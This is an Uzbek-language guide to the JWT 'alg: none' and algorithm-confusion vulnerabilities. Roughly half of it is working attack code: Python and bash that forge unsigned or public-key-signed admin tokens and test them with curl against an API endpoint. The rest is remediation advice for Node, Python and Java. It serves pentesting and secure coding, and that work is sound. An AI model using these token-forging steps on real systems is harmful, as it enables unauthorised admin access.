JWT sarlavhasida "alg": "none" (yoki None, NONe) bo'lsa — server kalitni tekshirmaydi. Hujumchi o'zi istagan ma'lumot bilan token yasab, admin sifatida kiradi.

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwicm9sZSI6ImFkbWluIn0.
│                            │                          │
sarlavha (alg)              │  ma'lumot (payload)       │ imzo
{"alg":"none","typ":"JWT"} {"id":1,"role":"admin"}    (bo'sh)

# 1) JWT ni boshqaringizga oling (oddiy login qilib)
curl -s -X POST https://site.uz/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"sinov@site.uz","password":"..."}' | jq -r .token

# 2) algoritmni ko'ring
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null
# → {"alg":"HS256","typ":"JWT"}

# 3) kodda alg tekshiruvi
grep -rnE "algorithms|verify\(.*algorithms|jwt\.verify|jwt\.decode|none" src/ | head

# 1) alg:none token yasash (Python, kutubxonasi yo'q usul)
python3 -c '
import base64, json
def b64(d): return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
h = b64({"alg":"none","typ":"JWT"})
p = b64({"id":1,"email":"h@site.uz","role":"admin"})
print(f"{h}.{p}.")
'

# 2) turli yozuvlar — barchasini sinab ko'ring
for A in none None NONE nOnE NoNe; do
  H=$(printf '{"alg":"%s","typ":"JWT"}' "$A" | base64 -w0 | tr '+/' '-_' | tr -d '=')
  P=$(printf '{"id":1,"role":"admin","email":"h@site.uz"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
  T="$H.$P."
  echo "  alg=$A → $(curl -s -o /dev/null -w '%{http_code}' https://site.uz/api/profile -H "Authorization: Bearer $T")"
done

# 3) imzo satrini olib tashlash
T="$TOKEN"; H=${T%%.*}; P=$(echo $T | cut -d. -f2)
curl -s https://site.uz/api/profile -H "Authorization: Bearer $H.$P."
curl -s https://site.uz/api/profile -H "Authorization: Bearer $H.$P"

# 4) HS256 → RS256 (algorithm confusion)
# ochiq kalit HMAC kalit sifatida ishlatiladi:
python3 -c '
import hmac,hashlib,base64,json
def b64(d): return base64.urlsafe_b64encode(d).rstrip(b"=").decode()
pub = open("jwt.pub","rb").read()          # ochiq RSA kalit
h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
p = b64(json.dumps({"id":1,"role":"admin"}).encode())
sig = b64(hmac.new(pub,(h+"."+p).encode(),hashlib.sha256).digest())
print(f"{h}.{p}.{sig}")'

# 5) python jwt (qulay)
python3 -c "
import jwt
print(jwt.encode({'id':1,'role':'admin'}, key='', algorithm='none'))"
pip install pyjwt -q 2>/dev/null

1. Algoritmni aniq belgilash (eng muhimi)

// Node.js jsonwebtoken
jwt.verify(token, SECRET, {{ algorithms: ['HS256'] }});
// ↑ algorithms YO'Q bo'lsa — alg none ishlaydi

// Python PyJWT
jwt.decode(token, SECRET, algorithms=['HS256'], options={{"verify_aud": True}})

// Java jjwt
Jwts.parser().setSigningKey(KEY).build().parseClaimsJws(token);
// parseClaimsJws — "none" da xato beradi

2. To'g'ri kalit (HMAC uchun 256 bit)

SECRET=$(openssl rand -base64 48)   # 48 bayt = 384 bit
// kalit hech qayerda kodda/repositoryda saqlanmasin

3. Qo'shimcha talablar

• exp — 15 daqiqa (access token)
• aud va iss — tekshiriladi
• kid (token ID) — logout da qora ro'yxatga qo'shish uchun
• Parolni o'zgartirganda barcha tokenlar bekor qilinsin

4. Hali ham tekshiriladigan javoblar

// "alg":"HS256" + ochiq kalit HMAC sifatida — jsonwebtoken 9+ da himoyalangan
// lekin ES256/384/512 da ehtiyot bo'ling

• jwt.verify da algorithms: ['HS256'] ko'rsatilgan
• exp, aud, iss tekshiriladi
• Kalit 256 bitdan uzun, kodda emas
• Parol o'zgarganda tokenlar bekor qilinadi
• alg:none token bilan test qilindi